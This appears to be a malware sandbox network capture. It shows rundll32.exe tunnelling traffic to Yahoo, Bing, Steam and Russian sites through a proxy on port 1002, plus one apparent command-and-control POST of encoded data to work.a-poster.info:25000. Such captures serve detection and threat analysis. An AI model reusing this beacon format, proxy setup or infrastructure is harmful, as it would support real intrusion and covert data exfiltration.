Dec 10, 2023 17:51:29.817693949 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	50144	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:33.208784103 CET	230	IN	CONNECT consent.yahoo.com:443 HTTP/1.1 Host: consent.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:33.354290009 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	50146	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:33.542623043 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:51:33.543916941 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	50147	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:33.660542965 CET	184	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:33.661655903 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	50153	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:34.259084940 CET	234	IN	CONNECT uk.search.yahoo.com:443 HTTP/1.1 Host: uk.search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:34.260363102 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	50155	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:35.132275105 CET	32	IN	CONNECT m.ok.ru:443 HTTP/1.0
Dec 10, 2023 17:51:35.133322001 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	50156	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:35.311292887 CET	215	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:35.313002110 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	50157	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:35.455050945 CET	228	IN	CONNECT search.yahoo.com:443 HTTP/1.1 Host: search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:35.456181049 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	50161	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:36.067930937 CET	175	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:36.069149971 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	50163	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:37.151431084 CET	230	IN	CONNECT consent.yahoo.com:443 HTTP/1.1 Host: consent.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:37.152429104 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	50165	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:37.746323109 CET	184	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:37.752275944 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	50167	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:40.253604889 CET	32	IN	CONNECT m.ok.ru:443 HTTP/1.0
Dec 10, 2023 17:51:40.254982948 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.6	50168	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:40.263087034 CET	234	IN	CONNECT uk.search.yahoo.com:443 HTTP/1.1 Host: uk.search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:40.264451027 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	50172	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:41.777864933 CET	224	IN	CONNECT guce.yahoo.com:443 HTTP/1.1 Host: guce.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:41.778939962 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	50175	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:42.360337019 CET	228	IN	CONNECT search.yahoo.com:443 HTTP/1.1 Host: search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:42.361291885 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	50176	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:42.810183048 CET	175	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:42.811331034 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	50182	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:44.534300089 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:44.535324097 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	50183	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:44.772176981 CET	123	IN	CONNECT steamcommunity.com:443 HTTP/1.1 Connection: Keep-Alive Proxy-Connection: Keep-Alive Host: steamcommunity.com
Dec 10, 2023 17:51:44.906693935 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	50184	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:44.860968113 CET	234	IN	CONNECT uk.search.yahoo.com:443 HTTP/1.1 Host: uk.search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:44.861985922 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.6	50190	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:45.637927055 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:51:45.638854980 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	50192	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:47.068416119 CET	123	IN	CONNECT steamcommunity.com:443 HTTP/1.1 Connection: Keep-Alive Proxy-Connection: Keep-Alive Host: steamcommunity.com
Dec 10, 2023 17:51:47.069498062 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	50193	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:47.119132042 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:51:47.119936943 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	50195	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:47.288294077 CET	123	IN	CONNECT steamcommunity.com:443 HTTP/1.1 Connection: Keep-Alive Proxy-Connection: Keep-Alive Host: steamcommunity.com
Dec 10, 2023 17:51:47.289069891 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	50202	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:48.382642984 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:48.383663893 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	50206	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:49.889951944 CET	234	IN	CONNECT uk.search.yahoo.com:443 HTTP/1.1 Host: uk.search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:49.891071081 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.6	50209	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:50.965812922 CET	175	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:50.966917038 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.6	50214	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:52.213484049 CET	228	IN	CONNECT search.yahoo.com:443 HTTP/1.1 Host: search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:52.214638948 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.6	50216	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:53.708862066 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:53.709875107 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.6	50218	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:53.843235016 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:51:53.844110012 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.6	50223	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:54.416018963 CET	234	IN	CONNECT uk.search.yahoo.com:443 HTTP/1.1 Host: uk.search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:54.416954994 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.6	50226	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:56.886754036 CET	33	IN	CONNECT lesta.ru:443 HTTP/1.0
Dec 10, 2023 17:51:56.887913942 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.6	50227	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:57.047821045 CET	228	IN	CONNECT search.yahoo.com:443 HTTP/1.1 Host: search.yahoo.com:443 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:57.048782110 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.6	50233	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:58.886137962 CET	175	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:58.887299061 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.6	50235	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:51:59.568330050 CET	222	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:51:59.569402933 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.6	50236	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:52:00.060733080 CET	260	IN	POST http://work.a-poster.info:25000/ HTTP/1.1 Connection: close Content-Length: 21 Content-Type: application/x-www-form-urlencoded Host: work.a-poster.info:25000 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Data Raw: 64 61 74 61 3d 65 63 63 62 63 66 62 61 64 66 62 64 66 63 63 66 Data Ascii: data=eccbcfbadfbdfccf
Dec 10, 2023 17:52:00.817135096 CET	371	OUT	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Sun, 10 Dec 2023 16:52:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Data Raw: 34 38 0d 0a 5b 55 53 45 52 5f 41 47 45 4e 54 5d 20 3d 3e 20 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 36 2e 30 3b 20 57 69 6e 64 6f 77 73 20 4e 54 20 35 2e 31 3b 20 53 56 31 29 0a 0d 0a 31 36 0d 0a 5b 58 5f 46 4f 52 57 41 52 44 45 44 5f 46 4f 52 5d 20 3d 3e 20 0a 0d 0a 32 31 0d 0a 5b 52 45 4d 4f 54 45 5f 41 44 44 52 5d 20 3d 3e 20 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 0a 0d 0a 31 33 0d 0a 5b 51 55 45 52 59 5f 53 54 52 49 4e 47 5d 20 3d 3e 20 0a 0d 0a 65 0d 0a 5b 52 45 51 5f 42 4f 44 59 5d 20 3d 3e 20 0d 0a 31 35 0d 0a 64 61 74 61 3d 65 63 63 62 63 66 62 61 64 66 62 64 66 63 63 66 0d 0a 30 0d 0a 0d 0a Data Ascii: 48[USER_AGENT] => Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)16[X_FORWARDED_FOR] => 21[REMOTE_ADDR] => 102.129.152.21213[QUERY_STRING] => e[REQ_BODY] => 15data=eccbcfbadfbdfccf0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49717	68.180.135.252	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:06 UTC	284	OUT	GET / HTTP/1.1 Host: www.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:48:07 UTC	1292	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 72 65 66 65 72 72 65 72 2d 70 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 65 72 72 65 72 2d 77 68 65 6e 2d 64 6f 77 6e 67 72 61 64 65 0d 0a 73 74 72 69 63 74 2d 74 72 61 6e 73 70 6f 72 74 2d 73 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a 78 2d 66 72 61 6d 65 2d 6f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 38 3a 30 36 20 47 4d 54 0d 0a 78 2d 65 6e 76 6f 79 2d 75 70 73 74 72 65 61 6d 2d 73 65 72 76 69 63 65 2d 74 69 6d 65 3a 20 34 35 0d 0a 73 65 72 76 65 72 3a Data Ascii: HTTP/1.1 200 OKreferrer-policy: no-referrer-when-downgradestrict-transport-security: max-age=31536000x-frame-options: SAMEORIGINcontent-type: text/html; charset=utf-8date: Sun, 10 Dec 2023 16:48:06 GMTx-envoy-upstream-service-time: 45server:
2023-12-10 16:48:07 UTC	649	IN	Data Raw: 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 41 31 3d 64 3d 41 51 41 42 42 4d 62 72 64 57 55 43 45 4f 4b 31 59 5a 38 4d 67 7a 44 4d 56 66 31 5f 39 6c 64 34 45 54 73 46 45 67 45 42 41 51 45 39 64 32 56 5f 5a 64 77 77 30 69 4d 41 5f 65 4d 41 41 41 26 53 3d 41 51 41 41 41 71 69 34 6f 34 45 4d 41 49 4a 63 4b 2d 46 76 6b 70 4d 6c 31 59 6f 3b 20 45 78 70 69 72 65 73 3d 4d 6f 6e 2c 20 39 20 44 65 63 20 32 30 32 34 20 32 32 3a 34 38 3a 30 37 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 53 61 6d 65 53 69 74 65 3d 4c 61 78 3b 20 53 65 63 75 72 65 3b 20 48 74 74 70 4f 6e Data Ascii: X-Content-Type-Options: nosniffSet-Cookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; Expires=Mon, 9 Dec 2024 22:48:07 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure; HttpOn
2023-12-10 16:48:07 UTC	659	IN	Data Raw: 66 61 33 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 64 61 74 61 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 20 69 64 3d 61 74 6f 6d 69 63 20 63 6c 61 73 73 3d 22 6c 74 72 20 66 70 20 20 64 65 73 6b 74 6f 70 20 20 66 70 2d 6e 6f 6e 65 20 62 6b 74 4d 69 6d 69 63 50 72 6f 76 69 64 65 72 4c 69 73 74 76 32 2d 63 6f 70 79 2c 73 65 6e 64 5f 68 65 69 6d 64 61 6c 6c 5f 68 6f 6d 65 70 61 67 65 5f 62 75 63 6b 65 74 2c 46 50 49 4e 4c 49 4e 45 58 52 41 59 54 4f 4f 4c 54 49 50 54 45 53 54 31 2c 73 65 61 6d 6c 65 73 73 20 75 61 2d 63 68 72 6f 6d 65 20 75 61 2d 38 38 2e 30 20 69 73 4d 6f 64 65 72 6e 22 20 6c 61 6e 67 3d 65 6e 2d 55 53 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 32 64 66 61 34 37 34 65 31 39 33 64 36 65 31 63 36 62 Data Ascii: fa3<!doctype html><html data-color-scheme id=atomic class="ltr fp desktop fp-none bktMimicProviderListv2-copy,send_heimdall_homepage_bucket,FPINLINEXRAYTOOLTIPTEST1,seamless ua-chrome ua-88.0 isModern" lang=en-US><head><script nonce=2dfa474e193d6e1c6b
2023-12-10 16:48:07 UTC	1300	IN	Data Raw: 64 61 72 6c 61 4f 6e 72 65 61 64 79 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 7d 3b 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 3c 74 69 74 6c 65 3e 59 61 68 6f 6f 20 7c 20 4d 61 69 6c 2c 20 57 65 61 74 68 65 72 2c 20 53 65 61 72 63 68 2c 20 50 6f 6c 69 74 69 63 73 2c 20 4e 65 77 73 2c 20 46 69 6e 61 6e 63 65 2c 20 53 70 6f 72 74 73 20 26 61 6d 70 3b 20 56 69 64 65 6f 73 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 63 6f 6e 74 65 6e 74 2d 74 79 70 65 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 20 63 6f 6e 74 65 6e 74 3d 6f 6e 3e 3c 6d Data Ascii: darlaOnready = function() {}; </script><title>Yahoo \| Mail, Weather, Search, Politics, News, Finance, Sports & Videos</title><meta http-equiv=content-type content="text/html; charset=utf-8"><meta http-equiv=x-dns-prefetch-control content=on><m
2023-12-10 16:48:07 UTC	196	IN	Data Raw: 38 31 33 30 33 34 37 35 34 37 37 30 34 2c 20 31 36 37 36 30 31 34 37 33 32 37 34 32 37 35 2c 20 31 36 36 37 32 31 31 30 36 36 37 39 32 34 31 2c 20 31 35 37 33 37 39 31 35 33 32 38 39 34 38 35 30 2c 20 31 34 31 33 30 31 33 38 39 32 35 38 39 39 34 2c 20 31 33 38 32 30 37 35 35 39 35 37 35 32 31 33 2c 20 31 31 32 39 39 36 35 34 35 34 33 39 37 33 34 2c 20 33 34 35 31 38 35 35 37 33 30 30 30 2c 20 31 33 31 37 34 37 38 39 36 38 36 31 31 32 36 2c 20 33 34 35 31 38 35 35 37 33 30 30 30 2c 20 38 31 32 36 32 35 39 36 32 33 34 2c 20 31 30 37 31 34 33 37 37 36 30 31 30 32 35 30 2c 20 31 33 37 Data Ascii: 8130347547704, 167601473274275, 166721106679241, 1573791532894850, 141301389258994, 138207559575213, 112996545439734, 345185573000, 131747896861126, 345185573000, 81262596234, 107143776010250, 137
2023-12-10 16:48:07 UTC	1300	IN	Data Raw: 36 35 37 38 39 32 39 32 36 39 36 33 2c 20 31 31 38 37 35 37 31 33 31 35 30 34 38 30 33 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 6f 67 3a 75 72 6c 20 63 6f 6e 74 65 6e 74 3d 68 74 74 70 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 6f 67 3a 74 69 74 6c 65 20 63 6f 6e 74 65 6e 74 3d 22 59 61 68 6f 6f 20 7c 20 4d 61 69 6c 2c 20 57 65 61 74 68 65 72 2c 20 53 65 61 72 63 68 2c 20 50 6f 6c 69 74 69 63 73 2c 20 4e 65 77 73 2c 20 46 69 6e 61 6e 63 65 2c 20 53 70 6f 72 74 73 20 26 20 56 69 64 65 6f 73 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 6e 66 3a 63 6a 73 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 2d 55 53 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 61 74 68 3a 67 75 63 65 3a Data Ascii: 657892926963, 118757131504803"><meta property=og:url content=http://www.yahoo.com><meta property=og:title content="Yahoo \| Mail, Weather, Search, Politics, News, Finance, Sports & Videos"><meta name="conf:cjs:locale" content="en-US"><meta name="oath:guce:
